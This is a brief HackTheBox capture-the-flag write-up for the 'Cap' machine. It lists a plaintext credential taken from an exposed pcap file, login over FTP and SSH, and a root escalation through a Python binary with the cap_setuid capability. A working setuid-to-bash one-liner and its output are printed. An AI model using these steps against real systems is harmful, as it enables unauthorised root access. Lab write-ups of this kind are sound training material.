Cap

CTF	HackTheBox
Category	Writeup
Created	@July 2, 2021 7:58 PM
Date	
Description	
Fields	Pentest
Level	Easy
Tags	Capability Wireshark packet

Info

Credential

- `nathan:Buck3tH4TF0RM3!`

FTP

- Use `nathan` to login
- pwd: `/home/nathan`

Web

- Server: gunicorn

- `/data/<num>`: pcap files
  - `/data/0`: Nathan's credential in the pcap

System

- `/usr/bin/python3.8` has `cap_setuid` capability.

Path

User

1. The `/data/<num>` start at 1, and if we try to view `/data/0`, we get the pcap from `192.168.196.16`, which is Nathan's pcap. In the pcap, it reveals Nathan's credential.
2. Use `nathan` to log on FTP, and we are in the `nathan`'s home directory, so we can get user flag.
3. We can use `nathan` to log on SSH.

Root

1. Run `linpaes.sh` and found `python3.8` has `cap_setuid`. We can use it to gain root.

```
[+] Capabilities
...
Files with capabilities:
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
```

1. Use `python3.8` to gain root.

```
nathan@cap:/tmp$ python3 -c 'import os;os.setuid(0); os.system("bash")'
root@cap:/tmp# whoami
root
```